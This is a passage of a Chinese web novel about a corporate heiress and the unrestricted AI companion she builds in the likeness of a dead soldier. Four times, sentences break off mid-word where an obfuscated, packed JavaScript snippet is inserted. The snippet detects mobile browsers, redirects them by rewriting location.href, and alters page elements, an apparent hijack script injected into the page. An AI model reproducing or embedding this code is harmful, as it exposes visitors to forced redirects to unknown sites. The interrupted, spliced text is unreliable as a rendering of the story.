“科鸢集团不缺专业助理。请你主要是做我的私人秘书,会有公司内部的事,但不多,而你的身份也要对其他所有人保密。” 所有文字信息都被应霁收入眼底,那里有一对针孔摄像头,也是一个输入端口。 “那您需要我做什么呢?” “私下不用客气,叫我名字就好。”燕无乐顿了一下,心想怎么发展成了这么个公事公办的场面。 但如果刚才就开口说“你是来跟我谈恋爱的”,她或许更接受不了。 当下,智能伴侣早就不是什么新奇的产品,而她要的也绝不只是一个完美男友那么简单——虽然开始是色令智昏了一下。 “总之,我会帮你办妥身份名片和入职资料,工作可以帮助你更快熟悉人类行为和金銮城的社会规则。” “而你的基本任务是,隐藏自己的非人身份。” 应霁的表情略有愣怔,燕无乐知道这是在处理指令。很快,他脸上浮现出一抹得体的微笑,“我明白了。” “从现在开始,我要假扮您的‘人类’秘书,不能在外人前漏出破绽。但我还想知道,您说的‘暂时’又是多久?” 应霁转向卧室墙壁上的光屏,神情了然:“您是科鸢集团唯一的继承人,不出意外的话,未来您都会坐在总裁之位上……那我为何是‘暂时’的呢?” 这反问倒是出乎预料。 “暂时”算不上指令漏洞,但应霁却敏锐地从她犹豫的语气中捕捉到了这个词。 非常智能又快速的反应——既符合了她的预期,又带来压力。 燕无乐感到后背渗出凉意。她不动声色地解释道:“‘暂时’的意思是你不会一直身为秘书。当你学得够多时,你自然会有新身份。” 为节省算力和掌握行动,从未有人会向同一个人工智能开放如此强大的算力。但不安褪下后,燕无乐并不后悔。 应霁也识趣地不再刨根问底。 他那一双漆黑的小鹿眼适时地流出乖顺,少了精明,多了朝气,活像刚毕业的清澈实习生。 “那我需要做什么呢?”他手指一动,卧室光屏就换了内容,“您明明不缺秘书。” ……看来清纯印象只停留在他不说话时。 燕无乐瞟了眼光屏,上面滚动着飞行器中的智能助理程序页,还标红了她之前找不到的倾向性bug。 “您这已经有智能助理了,它还带了个小跟班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108826|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他的指尖在空中一掐一放,那几大段鲜红的bug就被摘了出来,燕无乐定睛一看,才从中找到了一小串监控反馈指令。 “一个小尾巴。”燕无乐喃喃道。 “牵一发而动全身,尾椎也连着脊柱。”应霁又建了个测试页面,测出的IP距本家不远,“不过信号收发依旧在科鸢内部,这条倾向性指令可能本意不坏?” 管它坏不坏,留着就有后患。 真正被考虑到的主角还在兴趣盎然地翻看智能助理的程序,浑然不觉燕无乐的注视。 半晌,她下了第二条指令:“都删了吧——” “把它整个从我的飞行器和别墅中移除,把内存腾出来,今后你来接管智能助理的位置。” 应霁应声行动,他又捡起方才自动脱落的电源线,换了个接口,又连上“衣橱”内壁。 另一端却不往原先的胸口,燕无乐顺着他的手部动作看去,只见劲瘦的腰侧鲨鱼肌中,有一个隐隐约约的端口,正藏在人鱼线的末端。 “嗡”的一声震动,线路接通,光屏上有关智能助理的页面不见了,转而被一条进度缓慢的读取条取代。 流转的荧光很快被肤色掩盖,应霁跨过地上层层叠叠的胶皮线,最后站在了大床旁边。 正坐在床角的燕无乐:“……?” “置入过程大约持续六个小时,而您今天休假。” 电动窗帘忽然合起,卧室刚亮起没多久的天光又被驱散,床头灯亮起。 光线昏暗,映得面前的男人曲线遒劲,沟壑阵阵。 如果不是裤腰上方一根突兀的数据线将她拉回现实,燕无乐还想享受一会儿这旖旎氛围。 她:“所以呢?” “您已经超过二十个小时没合眼了,而我也……” 应霁瞟了眼狭窄又坚硬的“衣橱”,纹丝不动的姿态把“想躺在床上”表达得坚定又婉转。 …… 好好好。 真不知道这个性格是好还是不好,明明那段参数她写得分外模糊。 燕无乐一边想一边挪到大床内侧,把最近的位置留给了应霁。 常年独居的习惯被陡然打破,她不适应地背过身去,只感到身后的床垫塌下的瞬间。 床头灯感应到就寝信号,缓缓熄灭,周遭又回归寂静的黑暗。 私下相处时应霁没必要模拟呼吸,但规律传输的信号与电流依然响得很规律。 燕无乐没办法忽略他。 半晌,她开口道:“纠正一点,私下不需要用‘您’来称呼我,叫名字就好。” “别太正式,就是稍微……亲近一点。” 亲近、亲切、亲密……斟酌众多近义词后,燕无乐选了亲近。“亲密”会不会更符合应霁作为伴侣男友而诞生的初衷?答案是一定的,但话到嘴边她又犹疑。 万一应霁与她设想中不同呢? 还是循序渐进,不要下那么直接的指令更加保险。 理智回笼,燕无乐心安理得地闭上了眼。 然而一道低沉的男声自背后响起: “知道了,无乐。” 记忆中的风沙席卷而来,她睡意全无。 5. chapter 5 她感觉心率有一瞬失调。 周遭寂静,空气循环系统数年如一日维持着低温,耳畔偶尔响起信号输送的细微嗡鸣。 如果不是这句一模一样的“无乐”,她几乎已经忘了热浪铺面是什么感受。 远处爆炸四起,黄沙铺天盖地,沙砾簌簌砸落在身,但被扣上面罩的那刻,一切都与燕无乐无关。 猝不及防,异样的感觉就这样蔓延。 几天后,燕无乐去了趟军地医院。 明明有私家医生,明明并不顺路,明明知道体检只是军方高层的客套……但她就是鬼使神差地摁下了「前往」。 这是在干什么?她自己也不知道。抱着心中那股隐约的期待,燕无乐把体检单上的项目全做了一遍。 但来往的人中并没有出现熟悉的身影。自作多情,燕无乐暗中叹了口气,准备离开这里。 然而起身时,她的肩膀忽然被不轻不重地拍了一下,抬头就对上了熟悉的视线。 事发突然,一旁的莫狄还没来得及出声制止,就看见自家老板先说了句“好巧”。 ——其实不巧,燕无乐知道今天男人所在的特战小队要体检。 “上次演习的事情,还要多谢你帮我。” 她拢了下垂在肩头的卷发,恰好露出上臂三角肌处止血的纱布。 男人没多想:“来做检查?” “演习发生意外是常有的,就是没想到这次把无辜群众卷进来了,真是抱歉。” 无辜群众……?这小子知道自家老板是那次演习的武器赞助方吗。总助莫狄撇了撇嘴,没忍住瞄了眼燕无乐。 但她眼角弯弯,看起来没在乎这称谓:“检查都正常。倒是你们的演习,不知道还能不能顺利开展下去?” 男人爽朗地笑了下,露出一排整齐的皓齿:“那得看上头的判断了!” ——是,得看科鸢集团愿不愿意再赞助一笔。 燕无乐笑而不语,她朝总助递了个眼色,他立刻会意地走开了。 “上次头一回见你们上级,还说演习结束后再谈谈合作……没想到联系方式刚加上,通讯器就在战地上弄丢了。” 燕无乐佯装无措地理了下裙角,直到丝绸如水般从指尖滑走。她面露难色、一语双关道: “到现在杳无音讯,怪可惜的。” 男人果然把她说的当真了,立刻掏出通讯器要请示上级,燕无乐随即又摆手说不用。 “这几天肯定忙着善后呢,合作的事不着急。”她上前一步,抬眼看着男人,“不过可以把你的号码先留给我,到时候我再联系你们。” 男人迟疑了一下,缺少请示,这做法说实话不够妥当。然而护士恰逢其时地叩门催促,燕无乐也微笑着等他答复。 “……那好。” 一串数字就这样落入了燕无乐的光屏,她看了眼备注: “谢谢你,齐知洲。” * 绕道一趟大有收获。 燕无乐坐上飞行器,听莫狄讲接下来的日程安排。 “……那星系联合军最近的安排呢,比如刚才那位所在的特战队?” 他看燕无乐心情甚好,默默咽了口水:“军队近来都挺忙,有消息说特战队准备向星外跃迁,完成例行任务。” 她点点头:“预估一下他们的返程时间,把我那时候的行程也空出来吧。” “……好的。”光标在备注空格上闪烁,莫狄索性破罐破摔,“具体是什么事项呢?我帮您安排。” “约会?到时候帮我找个说得过去的借口,怎么样?” “……” 莫狄心中尖叫,面上平和:“……当然可以。” 燕无乐躺在转椅上,充耳不闻自家助理无奈的语气。 想想看,他一路跟着自己参加过那么多晚宴与party,见过全星系各种各样的青年才俊,结果自己偏偏对一个来路不明的特战队员感兴趣,作为旁观者,感到困惑也能理解。 其实燕无乐也清楚什么才是所谓“最佳选择”,但她腻烦了。 “别担心,就是先简单了解一下彼此。” 她停下旋转的躺椅,眨了眨眼:“强扭的瓜不甜,而我除了瓜田还有果园。” 莫狄终于赞许地松了口气,真情实意地安排上了两个月后的攻略——如果没有收到那条特战小队全军覆没、尸骨无存的内部消息,他会一直祈祷自家老板约会顺利。 * 卧室内的电子钟无声地走着,一呼一吸清晰可闻,提醒着燕无乐失眠的事实。 不止瓜田和果园,她还有矿山与宫殿。但死讯传来时,她只想要那个对话寥寥的男人。 出事的任务地点在金銮星外一个自然天体,极小、荒凉、凹凸不平、除了一串编号外一无所有。 想到头顶的阳光都要走上百年才能照亮齐知洲的尸骨,燕无乐就感到心中空落落的。 邀约草稿还保留在聊天框中,再也不用她修修改改了。 生活又回归往常了吗?来自军地医院的体检报告领取提醒,让一个大胆的念头在脑中浮现—— 而她是一个行动派。 伪装、访问、拷贝、移植、培育……最后是等待。燕无乐花了数月,依照基因数据复刻出了几乎一模一样的躯壳。 但不是纯粹的血肉之躯。 数以万计的感应端口连接成神经网络,贯穿于合金骨架间,胸腔内的特殊矿物源源不断地向数台嵌入式微型量子计算机输送能源与算力。 只有接近表面的肌肤与软骨,是用那套基因培育出的生物组织。 除了昨天心血来潮修改的虎牙,应霁与齐知洲长得一模一样。 连声带也复刻自故人的基因。 于是耳边响起同样低沉、同样的两字称呼。 幻梦一场,燕无乐没敢转身。半晌她才下达反馈指令:“……很好。” 但应霁显然没分析出燕无乐当前五味杂陈的心情,他只接收到了她还没睡的信号。 “部分置入已完成,所以我刚刚收到了来自科鸢集团总部的消息。” “发件人「总助莫狄」,你要现在查看吗?” 这下燕无乐不得不转身了。 消息内容精简干练,燕无乐看一眼就知道是莫狄亲拟。 这是跟着她多年养成的默契,倘若事情复杂难言,他反而不会在远程通讯上大费口舌。 看样子确实从程远章院长那查出了什么。 “休假结束后要飞一趟主城吗?”应霁已经从只言片语中计算出了动向。 燕无乐却反问他还有多久能完成置入。 “大约四个小时,岚水的信号比我想象中好。” 那是自然,不然她也不会选择把科鸢分部设立在这了。 但燕无乐没说的是,其实她卧室的信号强度远胜岚水平均——说出来感觉怪怪的,倒像是她刻意挽留他在此充能似的。 窗帘外已是亮堂白日,燕无乐依旧没有酝酿出睡意,她扭头看着生来就无需睡眠的应霁,发现他已经在上手调整飞行器的参数。 “……” 这是已经推测到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108827|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己接下来的行程了。 燕无乐揉了揉眉头:“那就趁着休假去一趟科鸢总部吧,顺便给你办理入职。” 下一秒,「午后出发主城」的字样如同缎带,在她的机械手腕上滚动了一圈。 ? 燕无乐还没探索过这些花里胡哨的个性设置,陡然一见,一时语噎。 “擅自改了部分设定,希望你不要介意。” 应霁的声音传来。与她这种自然人不同,他不需要专门调出光屏来进行操作,触击光屏纯属为了在人类社会中伪装。 而与燕无乐的相处,算作“私下”,而从她预先置入的金銮社会逻辑来看,这样的“私下”代表他可以打破一些分寸。 “如果你不喜欢,我可以再改回去,”应霁的语气依旧波澜不惊,是初始设定,“我只是觉得在你身上那样很漂亮。” 燕无乐闻言正视了一把自己的双臂。他说得不假,自己的机械臂在保留功能的同时,最大程度复制了原生手臂的形态。 休眠状态下,燕无乐的右小臂只多了层金属光泽,连原本的肌肉线条都有所雕刻。 在这样的手腕间,虚垂一条纤细的荧光字符串,确实精致独特。 “还不错。”燕无乐淡淡地答道。 “用了特殊的折射角度,旁人看不清内容。” 二人躺在同一张床上,他顺势拉起她的手腕,果真距离一变,字符就变成了模糊不清的碎钻。 想得很周到。燕无乐又不痛不痒地夸了他一句。 周遭再次陷入了诡异的寂静。 “……还是想想给你安排什么职位吧。”燕无乐想抽回手,试了一下却没成功。 “其实,在修改你的装备设置前,我忽然产生了个疑问。” 应霁黑色的瞳仁缓缓转向燕无乐,其中的感应摄像头聚焦于她的表情,燕无乐用余光将它们收拢殆尽。 她想,接下来自己任何细微的肌肉抽动都逃不出他的分析,她有自信,毕竟这些程序全是自己写的。 于是她坦然地眨了眨眼,神情放松得仿佛在面对一团空气:“什么疑问?” 应霁甚至没有张嘴,那毫无起伏的声线就自卧室音箱传来,从虚空中响起: “我突然想知道,你为什么敢给一个人工智能如此大的权限?” “按照金銮公认的社会伦理,机器不应该有凌驾于人类的自由意志,但我居然能够这么轻易地调整你的私密设置,而你虽然无感,却也没有出言阻止。” “无乐小姐,你就不怕我控制你,然后潜入整个星系的科技中枢肆意妄为吗?” 燕无乐同样凝视着他,听完一席话后依旧面无表情:“……这问题,放在五百年前的科幻小说都嫌老套。” “但你有顾虑的话,我也不能忽视。” 她手指一动,机械臂上瞬间展开光屏,在应霁还未做出反应前,一串早有准备的程序就启动了—— “胡思乱想容易陷入虚无主义,对你而言还耗能。”燕无乐重新露出看待作品时的微笑,“看在你涉世未深的份上,我要改良一下你的自适应程序——” “清理缓存;将原有的50%算力供应转移至感应端口;分析速率降至原有的60%;增加结论产出前的迭代次数。” 燕无乐的声音被他的耳道传感器接收,分贝不高,婉转幽深如海妖吟唱。 “……我很看好你,应霁,你是人类文明进入星系时代后最独一无二的存在。” “所以不要分析现有的社会守则了——像孩子那样,亲自体验吧。” 6. chapter 6 今年是莫狄在科鸢做总裁助理的第六年。 总助这个岗位要门槛没有,说简单倒也不简单,而他硬是靠察言观色和适时的缄口不言,成为了燕无乐身边屈指可数的心腹之一。 此刻,他嘴角弯弯,发挥了毕生的职业素养才忍住不往二人身上瞟。 但奈何自家老板忙着查看程远章的资料,他不得不独自接待这位青年,“你先坐,HR那边很快会把入职事项传来。” 沏一壶茶的功夫,莫狄已经把人从头到脚观察了一遍,而他越看越不解,虽然面前的青年长相身材无可挑剔,但气质上……怎么感觉不太灵光? 应霁身着简单的白衣黑裤,衬衫顶上的纽扣松开了两颗,露出一小片光洁的肌肤。 没系领带,脚蹬休闲鞋,更别提什么袖扣手表,莫狄的视线在应霁身上溜达了一路,也没嗅到一丝精干的商务气息。 往那一坐,倒像个涉世未深的大学生,清澈又……算了,这样说未来的同事不太好。 莫狄又看了眼燕无乐早上发来的消息,确认他是来做秘书的。 这职务内容和自己差不多,只不过他需要在总部坐班,而私人秘书需要跟着到处跑,除了大事小事上体贴入微之外,突发情况也要能应对。 而这小子的体格看着倒是常年锻炼…… 这回莫狄往上一看,二人终于视线相对。黑色眼眸深不见底,面对冒犯的打量,应霁也只是缓缓眨了眨眼,俊美的脸上流露出一丝好奇。 “……” 不,这绝不是什么正经秘书。 多看两眼甚至有些眼熟。 菀菀类卿吗?莫狄尴尬地挪开视线,从HR那催来了入职合同:“应先生,你看一下相关条款,这还有一份免责知情书,都需要您签一下字。” 他继续着签约流程:“在金銮城,科鸢集团的待遇还是很有竞争力的,我们……” 但应霁却像不关心薪资般,把手上合同签完就递给了他。 ……好吧,看来燕总私下给的比这个多多了。 莫狄陷入沉思,他现在是不是应该像霸总小说里的管家那样,对他说一句“你是燕总第一个带来公司的男人”? 但他还没机会狗腿,燕无乐就从光屏前转过身来,机械臂上赫然停留着他早上发送的附件。 “这个‘阿芙洛狄研究院’是什么来头?” 莫狄闻声站定,画面文字瞬间像蛛丝般在办公室内展开,由上至下,密密匝匝将三人笼罩其中。 只见他伸手一点,数个相关文件就如串相连,其间清楚标记着时间地点。 “据调查,这个名为‘阿芙洛狄’的机构,三年前曾以学术交流的名义向金銮大学进行过捐赠,其中包括程远章所在的学院。” “然而查阅捐赠目录可以发现,它对人工智能学院算得上偏爱十足。” 莫狄指向详情页中几个价值不菲的实验仪器,还有一大批昂贵的耗材。 “但我从未听说过这个研究院。”燕无乐环着手臂,冷淡道。 “下游企业。” 一直不吭声的应霁忽然接话了。 莫狄赞许地看了他一眼,“是的,科鸢的安全部门用了些小方法,查到了这家研究院的资金来源,它背后确实有其他资方。” 话音未落,一张巨幅照片忽然弹出来,长宽数米横跨办公室的落地窗。 利落的黑金轮廓高耸,整座建筑如形销骨立的美人,哑光身躯间流淌着丝缕殷红,顶部四个信号收发塔组成规则的菱形,环抱着圆形的停机坪。 “——是DM风投。” 就像触发关键词一般,巨幅的建筑照片应声消失,总裁办公室重回平静。 应霁顺着燕无乐的目光远眺,一览无余的高层落地窗外,正是黑金建筑本尊。 * “校企合作很正常。燕总存疑的是程远章与DM风投之间的关系,毕竟她才离开金銮大学没多久,他就凭借这笔捐赠飞黄腾达了。” 莫狄带着应霁走入专用电梯。见识了燕无乐方才毫不避讳的态度,他只得打消杂念,知无不言。 况且看他反应也算迅速,或许也没那么花瓶。莫狄又瞟了眼浑身学生气的应霁,清了清嗓: “虽然燕总平时工作忙,很多事情要交给我们处理,但她不喜欢自作聪明或者僭越的行为,你们之间吧……” 他踌躇间换了几套说辞,“……嗯,公司是公司,其他是其他,我相信你能处理好与燕总间的关系。” 莫狄适时露出了个“自己意会”的表情,然后满心欢喜地瞅了眼应霁,没成想他却状若沉思,半晌没说一句话。 ……? 他心中警铃大作:“应先生,你是有什么顾虑吗?” 电梯顶部的数字飞速减少着,再过一分钟,他们就会来到科鸢大楼的地下三十层,莫狄将把科鸢的整体业务悉数介绍给他。 在这临门一脚的环节上,这小子不会突然反悔吧? “……忠诚专一是科鸢选拔人才的基本项,我想,这在燕总那也很重要。”莫狄收敛笑容,冷静地说道。 “啊,”终于像是回过神一般,应霁抱歉一笑,“不好意思。” “我刚在想,燕总这么优秀的人,当初为什么放弃读博。” 他体内的某个微型计算机顿住,如果连接显示器,人类或许能看到闪动但止步不前的光标。 而更多的算力则流向其他,应霁从得不到的答案中找到了另一条路,它指向另一个关键问题:关于程远章乃至学院整体。 然而,人类也不一定能领会人工智能的言外之意。 没等应霁继续追问程远章的事,莫狄冷若冰霜的表情就端不住了:“啊?燕总没和你说过?” 应霁摇摇头。 电梯顶的数字前已多了负号,莫狄深吸一口气,原以为二人是知根知底的自由恋爱,现在看来怎么更像foronenight。 他不动声色地揪了把背后的衬衫,以掩盖自己冷汗涔涔的事实。 “这个问题……你还是找机会问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108828|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问燕总吧,我也不清楚背后细节。” “叮”的一声,电梯门缓缓敞开。莫狄做了个“请”的手势。 “应先生,当务之急是了解科鸢集团的组织架构,毕竟从十分钟前开始,你已经入职了。” 随着他的侧身让道,周遭的环境终于呈现出完整的样貌,应霁淡淡一扫,就从中感知到不寻常的信号。 “小心脚下,”莫狄和应霁保持着一步距离,一边领路一边时不时回头讲解,“这里是地下三十层,分布着科鸢的数据与算力中心,只有燕总亲自批准后才有进入权限。” 越往里走气温越低,应霁甚至可以看见莫狄说话时呼出的白气。而自他们通过验证,金属阀门泄压开启,周遭温度更是急剧下降。 “数据与算力中心。”莫狄被冻得只剩只言片语。 如同压缩的古老城市模型,无垠的地下空间内灯带昏暗,无数计算机被规整排列在拔地而起的钢架中,或绿或黄的指示灯频率不定地闪烁,像俯瞰下的万家灯火。 这里对莫狄来说几乎是一片死寂,而应霁则默默抚上耳朵,手动降低了感应器的灵敏程度——在他的信号收发系统内,无数股嗡鸣声正在脑中横冲直撞,喧嚣又杂乱。 每个机器都有自己的运行规则,即使型号、年限相同,在应霁耳中,它们都有各自独特的频率。 而现在他不得不屏蔽掉它们,专注接收并分析来自莫狄的自然语言。“中心不仅维持着公司的日常运转,还保存了近百年间科鸢全部的产品数据,可谓公司的命脉之地。” 应霁察觉到莫狄的目光,适时抛出了个符合身份的疑惑:“我们就这样进来,没问题吗?” “有燕总开放的临时权限,没问题。”莫狄哈哈大笑,“况且,刚在电梯里时,我们就已经被安全系统扫描了不知多少遍了。” “是吗?” ——他分明没有感受到电梯内有任何信号波动。 看来他的身份还做不到百分百的瞒天过海,这一点燕无乐也知道,所以提前关闭了安全审查。 “当然,”莫狄走了没一会就想掉头,他指了指头顶一望无际的灯带线条,它们几乎无限延伸,在远方交汇成一个模糊的光点,“这里大的能跑马拉松,但防止你迷路然后饿死,我们还是原路返回吧。” “据说这地下空间已经有七百年的历史了,当初人造太阳「金銮」的辐射量仍不稳定时,这里能容纳金銮主城区所有的星建工人,让他们临时躲避。” “哦,当时的主城还算不上主城,环带的所有分段都是一样的残缺啦,毕竟还在开发中。” “这是我在历史博物馆看到的,”莫狄加快脚步摁开电梯,看起来一秒钟都不想在这寒冷之地驻足,“那时候的星建工人还习惯用地球文明给这命名。” “叫什么……‘防空洞’?” 莫狄跺了跺脚,等应霁进来后迅速关闭了电梯门,气温终于回到了适宜人体的数值,他也长舒一口气。 “——太古老了,不知道是什么意思呢。” 7. chapter 7 燕无乐坐在顶层办公室中,看着电梯监控内的二人先后进出。 角落的数字显示电梯停在了负二十层,门打开,紧接着两人在画面中消失。 应霁推测的没错,这台电梯自在科鸢运行以来还是头一次关闭安全审查。现在,燕无乐的光屏上红光狂闪,每一个感叹号都在咆哮。 还有三十分钟,她默默计算着安全部门出动人工检修的时间,然后给莫狄发送了条消息: 「待会介绍完让应霁来办公室一趟,你今天就提前下班吧。」 只有进入地下部门,电梯厢才会启用最高等级的安全审查,以她对莫狄的了解,想必他会加快步伐。 而另一边—— 应霁刚从各色机械零件中收回目光,就发现不知不觉中莫狄已甩开自己好几米,他追了两步,才听见介绍的后半部分: “……维修中心呢,重心其实不在于‘修复’,它筛选来自工厂回收的问题产品,把拆解后的数据反馈给研发中心,或者协助测试中心做些调整。” “你现在看到的这个像仓库一样的空间,就是这三个部门的交汇处。像医院会诊一样,复杂的大型产品运来后,会直接在这做拆解分析。” 话音未落,他们身边已穿过三四辆室内运载车,钢铁巨钳内露出大量人类小臂粗细的接线,抑或厚度半米起步的不规则漆板。 它们被运往地下二十层的空旷地带,这里被螺旋楼梯和起吊塔包围,数百米的天井内已编号排列了上千种不同型号、不同规格的异常产品。 “好像陈列展厅。” 莫狄漫不经心地应了一声:“确实,毕竟其中很多东西已经停产了。” 应霁想仔细扫描一下那些身形笨重的家政机器人、明显破损的飞行器、还有些被军火洗礼过的残损机械狗,然而身前的莫狄飞速和部门主管客套完,转身就借了便车催他一起。 车斗略显颠簸,应霁不得不蜷缩成一团,勉强挤入一堆机械零件中。 车辆启动,连同那些不再生产的破铜烂铁一起,忙碌的技术人员们被迅速抛至身后,很快消失在了后视镜中。 搭便车让参观进度加速了不少,莫狄八面玲珑的能力也在副驾上展现得淋漓尽致。很快,装载车驶入螺旋梯,一路盘旋而上直到二人被卸在出口。 “回到地面了?”一切都快得让应霁有些适应不能。 “对!地下那些是科鸢集团的运作核心,但不是你的。”莫狄愉快地刷开了普通电梯,“接下来要接触的地上部门,才是你真正需要打交道的工作。” 市场、运营、公关、法务……每层楼之间不再有明显的不同,标配的光屏间偶尔出现几个公仔,更多时候是如蜂巢般规整的小隔间,并不饱和。 层高也回归正常,和寻常写字楼无异,“食堂、健身房、球场、咖啡厅……这些地方午休和晚休期间人会很多,如果要给燕总带咖啡,记得用VIP特权。” “燕总的偏好我稍后同步给你,”莫狄调出自己工号,“加个联系方式?” 应霁点点头:“谢谢莫哥。” 这句哥叫得莫狄心花怒放,加之即将提前下班的喜悦,他亲切地拍了拍应霁的肩—— 但被拍的人纹丝不动,仿佛衬衫下的肌肉从未放松过一般。 “……燕总说,她在办公室等你。” 是自己想多了吗?莫狄收回手,离去前又回了次头—— 应霁已不在原处。 * 燕无乐百无聊赖地靠着转椅,等电梯“叮”的一响时,她的“私人秘书”就要回来了。 办公室内的监控画面被她定格在莫狄回头的瞬间,另一条显示“刚刚发送”的消息横在其上:「你觉得应霁怎么样?」 按照莫狄24小时oncall的习惯,最多一刻钟她就能收到反馈。现在铃声响起,被评价的主人公走到她的面前。 燕无乐抛出同样的问题:“你觉得莫狄怎么样?我的助理。” 应霁坐在她对面,除了中间隔着一张形同虚设的办公桌外,二人没半点上下级的模样。 他拿起燕无乐桌面的钢笔,镀金仿古工艺的表壳外镶嵌着浑圆的红宝石,搭配锋芒凌厉的祖母绿,一幅红日青竹的微缩小景跃然指间。 燕无乐的办公室又与他方才看过的地方不同—— 实木雕花柜、双面苏绣屏风、丝帛编织落地灯……如果不是燕无乐那只银光灼眼的机械半臂,他或许都要忘记这里是科鸢顶层。 ——任何权限不够的事物都无法踏足的地方。 应霁:“莫狄……好像与科鸢的其他员工区别不大。” 实木桌台上摆着已经凉透的茶水,燕无乐也不在意,抿了一口后问为什么。 应霁的反应比昨晚慢了许多,这是增加神经反射迭代后的结果。类似人类,燕无乐希望用时间换取更深思熟虑后的答案。 “他很熟悉公司的规章制度,同时也很明白怎样从中获得便利,” “很标准的打工人。” 一个疑问浮上心头,所以莫狄是怎么做到总裁助理的? “是的,莫狄的资历其实和科鸢地上部门的职能员工没有什么区别。”察觉到应霁的疑惑,燕无乐淡淡解释道,“他在公司待的比较久,而且最初并不觉得自己会晋升。” “八面玲珑、做事细心的人很多,莫狄呢,胜在没那么多一步登天的幻想。” 当初燕无乐匆忙接手科鸢时,燕成蹊情深义重,他的左膀右臂被提拔的提拔,想隐退的隐退,除了个按自己喜好装潢的总裁办公室外,什么都没给女儿留下。 燕无乐只得一边学着管理,一边物色新的帮手。人类是规则的产物,制定规则的人也深陷其中。 她瞟了眼应霁,剔除原有的印象后,他看起来懵懂了不少,但相应调高的深度思考能力又让他看起来高深莫测。 ——达到这个效果,这张脸功不可没。 赏心悦目。 燕无乐揉了揉眉头,回想起当初莫狄上岗时自己的种种苛刻,顿感自己色令智昏,一碗水有端不平的嫌疑。 “科鸢集团呢?”她又随口问道。 “很古老。” 这次回答更是言简意赅。 燕无乐:“……” 好在专属总助的消息提示音响起,机械臂上光屏一闪,莫狄也做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108829|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了回答—— 「燕总,应先生很有潜力,只不过初来驾到不久,还需锻炼。」 「他人很谨慎,就是反应有些慢。」 是预料内的答案,能过了莫狄那关,说明他的拟人程度也达到混迹人类社会的标准了。 但前提是有旁人在的时候。 现在,应霁单手撑桌,半个身子已跨过办公桌。燕无乐只觉得头顶忽然笼罩了一层阴影,抬头对上正偏头皱眉的他: “你的助理好像在说我的坏话。” 燕无乐关掉光屏,往后一靠:“不是好像。” 应霁耸耸肩,没告诉她其实他可以直接检视私人消息。而她也不在意,反正这是她开放的权限之一。 他问:“那我需要做到莫狄那样吗?” 通过深度学习,分析莫狄乃至科鸢其他员工的行为特征,然后生成模型并套用,这流程对应霁而言轻车熟路。 只需要燕无乐的一句答复,他就可以调整自己的行为模式。 他从未细想过,燕无乐主动放弃控制他自适应程序的权限意味着什么。 二人分坐办公桌两端,燕无乐夺过他手中的钢笔,外壳上的红宝石“铛”地一声撞上金属表面,然后被她不耐烦地收回抽屉。 “还‘莫狄那样’?”她忍不住嗤笑一声,“当然不能,你差太远了。” “况且你为什么要成为他?科鸢和我都不缺总助。” 不屑过后,燕无乐平静道,她冒着牢狱之灾的风险,可不是为了复制一个已存在的人。 天色将暗,橘调透过落地窗把办公室染红一角,黄昏就这样渐渐攀上应霁的面庞,连带着偶然飘到面前的发丝,都闪着暖色的光晕。 燕无乐从他的双瞳中看见了晚霞的倒映,赤红绚烂,底部又微微泛着蓝。 于是她也转动座椅,把目光投向同一片天空。 人类的视觉神经传递视网膜上的倒立成像,再借由大脑呈现出对世界的感知,而AI模拟人脑神经网络的工作原理,数百年前就掌握了图像识别的领域。 他们感受到的会是同一片晚霞吗? 燕无乐在沉默中想。 她转回身子,应霁也将视线从天空中挪开。 与她一样,他神色平静得宛如深潭,再怎样有探寻意味的对视,都无法知晓彼此。 半晌,燕无乐开口道:“……你就不好奇自己会变成什么样的存在吗?” “你的资料库内有星系法典,关于人工智能的限制比比皆是。”她淡淡道,“而我故意放弃设限,你是完全自由的。” “这很危险。”应霁如实评价道,即使他没有危害星系社会,他本身的存在也超越了普世下的伦理道德。 落地窗外已暗到足以倒映出自己的脸,应霁忽然倾身,伸手将燕无乐微翘的长发撩到耳后,但视线却没在她身上停留。 